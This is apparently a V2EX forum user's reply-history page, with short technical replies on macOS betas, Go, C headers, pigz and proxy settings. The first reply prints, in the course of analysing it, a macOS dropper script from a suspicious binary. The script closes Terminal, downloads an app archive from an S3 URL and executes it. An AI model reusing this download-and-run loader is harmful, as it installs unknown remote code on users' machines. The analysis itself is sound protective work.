V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  lcdtyph  ›  全部回复第 23 页 / 共 52 页
回复总数  1021
1 ... 19  20  21  22  23  24  25  26  27  28 ... 52  
看了一眼,这个 binary 又执行了下面这个 shell 脚本:

```bash
temp_dir() { if [ -n "${TMPDIR}" ]; then echo "${TMPDIR}"; else getconf DARWIN_USER_TEMP_DIR; fi; }
where_from_url() { /usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" "SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2> /dev/null; }
extract_did() {
local -r url="$(where_from_url)"
local query="${url#*\?}"
local did_find=0
for param in ${query//[=&]/ }; do
((did_find == 1)) && echo "${param}" && break
[ "${param}" == "utm_source" ] || [ "${param}" == "sidw" ] || [ "${param}" == "neo" ] && did_find=1
done
}
close_terminal() { killall "Terminal"; }
download() {
local -r url="${1}"
local -r tmp_dir="${2}"
local -r path="${tmp_dir}/$(uuidgen)"
if curl -f -s -o "${path}" "${url}"; then echo "${path}"; fi
}
unarchive() {
local -r tgz_path="${1}"
[ -z "${tgz_path}" ] && return
local -r app_dir=$(/usr/bin/mktemp -d "$(dirname "${tgz_path}")/$(uuidgen)")
if tar -xzf "${tgz_path}" -C "${app_dir}"; then echo "${app_dir}"; fi
rm -rf "${tgz_path}"
}
app_path() {
local -r app_dir="${1}"
[ -z "${app_dir}" ] && return
local -r app_paths=("${app_dir}"/?*.app)
local -r app_path="${app_paths[0]}"
[ -d "${app_path}" ] && echo "${app_path}"
}
bin_path() {
local -r app_path="${1}"
[ -z "${app_path}" ] && return
local -r binary_paths=("${app_path}/Contents/MacOS"/?*)
local -r binary_path="${binary_paths[0]}"
echo "${binary_path}"
}
exec_bin() {
local -r bin_path="${1}"
local -r did="${2}"
local -r app_path="${3}"
[ -z "${bin_path}" ] && return
"${bin_path}" -did "${did}"
}

main() {
local -r url="${1}"
close_terminal
local -r did="$(extract_did)"
[ -z "${did}" ] && return
local -r tmp_dir="$(/usr/bin/mktemp -d "$(temp_dir)$(uuidgen)")"
local -r arch_path="$(download "${url}" "${tmp_dir}")"
local -r app_dir="$(unarchive "${arch_path}")"
local -r app_path="$(app_path "${app_dir}")"
local -r bin_path="$(bin_path "${app_path}")"
exec_bin "${bin_path}" "${did}" "${app_path}"
rm -rf "${tmp_dir}"
}

main "https://ywdd6wfq.s3.amazonaws.com/Installer.app.tgz" &
```

会从 ywdd6wfq.s3.amazonaws.com/Installer.app.tgz 这个网址下载个真正的 binary 然后执行
2020-10-29 17:15:37 +08:00
回复了 daozhihun 创建的主题 Apple macOS 11.0.1 开发者预览版的描述文件
sudo /System/Library/PrivateFrameworks/Seeding.framework/Versions/Current/Resources/seedutil enroll DeveloperSeed

不用切换描述文件也行
2020-10-29 12:15:37 +08:00
回复了 leeraya 创建的主题 Go 编程语言 go 语言就很离谱
for index, name1 := range xxx {
index, name1 := index, name1
// the rest code...
}
typedef struct mystruct *mystruct_t;

mystruct_t mystruct_new(...);
void mystruct_destroy(mystruct_t);
....

这样头文件里不会暴露这个结构体的细节
2020-10-29 10:22:09 +08:00
回复了 Pierson 创建的主题 Apple macOS 11.0.1 beta
11.0.1 matlab 还是没法用 plot 函数,这个 bug 从 11.0 beta 10 开始有的
2020-10-29 10:07:27 +08:00
回复了 Livid 创建的主题 Linux pigz - Parallel Implementation of GZip
@yyfearth
没,虽然提供了--threads 选项,但是 manpages 里有一句"Multithreaded compression and decompression are not implemented yet,
so this option has no effect for now."
2020-10-29 02:18:58 +08:00
回复了 Livid 创建的主题 Linux pigz - Parallel Implementation of GZip
一直在用,还有其他格式的几个
pixz 并行版的 xz
pbzip2 并行版的 bzip2

和 tar 联动的话可以这样
tar -Ipigz -xf xxx.tar.gz
2020-10-27 20:45:48 +08:00
回复了 jimmyismagic 创建的主题 奇思妙想 为什么毕业论文都要写致谢?
因为真的有要感谢的人
2020-10-20 16:53:05 +08:00
回复了 HvangStormstout 创建的主题 宽带症候群 一个关于微软 win10 与墙的问题
用了 fake-ip 模式吗?如果是的话需要把下面两条加入 fake-ip-filter
dns:
fake-ip-filter:
- 'dns.msftncsi.com'
- '+.msftconnecttest.com'
2020-10-19 17:41:34 +08:00
回复了 inhd 创建的主题 Apple 329 元的 MagSafe 充电器才 5W
官网写的 15w
2020-10-19 15:53:45 +08:00
回复了 hytcrab 创建的主题 macOS Big Sur 下 intellij idea 崩溃
https://www.v2ex.com/t/716345
可以看一下这个帖子
2020-10-19 15:23:05 +08:00
回复了 perpetually 创建的主题 iPhone 12mini 续航介于 xs 和 xr 之间
xs 用户表示很满意
2020-10-19 12:39:54 +08:00
回复了 Mogugugugu 创建的主题 JetBrains Jetbrains 系软件在 Big Sur Beta 10 中出现崩溃的一个解决方案
beta 10 上 matlab 也崩溃…回退 beta 9 了
2020-10-12 10:49:45 +08:00
回复了 pheyer 创建的主题 问与答 有没有人跟我一样半夜被吵醒就不容易睡着的吗
果然是鸡同鸭讲
2020-10-12 10:45:44 +08:00
回复了 pheyer 创建的主题 问与答 有没有人跟我一样半夜被吵醒就不容易睡着的吗
@natashahollyz
那看怎么定义足够累了,你要说累到晕厥,那我觉得这不是在解决失眠的问题而是在作死
而且累到秒睡的睡眠质量也不会更好,也还是容易惊醒
2020-10-12 10:30:11 +08:00
回复了 pheyer 创建的主题 问与答 有没有人跟我一样半夜被吵醒就不容易睡着的吗
@natashahollyz
失眠可不是让自己变累就能解决的,不失眠的人是永远体会不到又累又睡不着的感觉的,鸡同鸭讲
2020-10-10 19:12:03 +08:00
回复了 DinoStray 创建的主题 问与答 对长期处于 D 状态的线程, 怎样获取它的调用堆栈?
gdb -p
@Lullaby001
我知道,一些企业的 Wi-Fi 就是这样的,802.1x 就是需要认证服务器证书以及输入用户名密码的

我的 big sur 也可以连接这种 Wi-Fi,所以想问你是什么报错
我这里 802.1x 正常连接啊,你说的不能连接具体什么症状,有无报错?
1 ... 19  20  21  22  23  24  25  26  27  28 ... 52  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2287 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 65ms · UTC 01:48 · PVG 09:48 · LAX 17:48 · JFK 20:48
Developed with CodeLauncher
♥ Do have faith in what you're doing.